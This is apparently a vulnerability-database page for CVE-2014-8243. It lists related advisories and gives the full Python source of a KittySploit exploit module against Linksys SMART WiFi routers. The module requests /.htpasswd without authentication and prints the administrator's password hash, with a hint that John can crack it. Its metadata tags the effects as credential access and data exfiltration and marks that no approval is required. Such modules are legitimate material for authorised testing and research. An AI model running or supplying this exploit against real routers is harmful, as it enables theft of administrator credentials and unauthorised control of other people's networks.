Linksys SMART WiFi Password Disclosure
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2014-8243 | 1 Nov 201410:00 | – | cve | |
| CVE-2014-8243 | 1 Nov 201410:00 | – | cvelist | |
| EUVD-2014-8084 | 7 Oct 202500:30 | – | euvd | |
| CVE-2014-8243 | 1 Nov 201410:55 | – | nvd | |
| Design/Logic Flaw | 1 Nov 201410:55 | – | prion | |
| PT-2014-8437 | 1 Nov 201400:00 | – | ptsecurity | |
| CVE-2014-8243: Undefined Security Weakness | 1 Nov 201400:00 | – | rapid7 | |
| Linksys SMART Wi-Fi Firmware Patches Released | 4 Nov 201410:53 | – | threatpost | |
| Linksys SMART WiFi firmware contains multiple vulnerabilities | 31 Oct 201400:00 | – | cert |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys SMART WiFi Password Disclosure"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Linksys SMART WiFi Password Disclosure',
'description': "Exploit implementation for Linksys SMART WiFi Password Disclosure vulnerability. If target is vulnerable administrator\\'s MD5 passsword is retrieved.",
'author': ['Sijmen Ruwhof', '0BuRner'],
'cve': ['CVE-2014-8243'],
'platform': Platform.LINUX,
'references': ['https://www.kb.cert.org/vuls/id/447516', 'http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243'],
'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'cve-2014-8243', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
response = self.http_request(
method="GET",
path="/.htpasswd"
)
if response is None:
print_error("Exploit failed - connection error")
return
if (response.text.find('$') != -1):
print_info("Likely Unix crypt hash: $id$salt$hashed") # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
else:
print_info("Likely base64 encoded .htaccess") # John understands this natively
print_success("Hash found:", response.text)
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
response = self.http_request(
method="GET",
path="/.htpasswd"
)
if response is not None and response.status_code == 200:
res = re.findall(r"^([a-zA-Z0-9]+:\S+)", response.text)
if len(res):
return True
return False
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19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.3
EPSS0.01204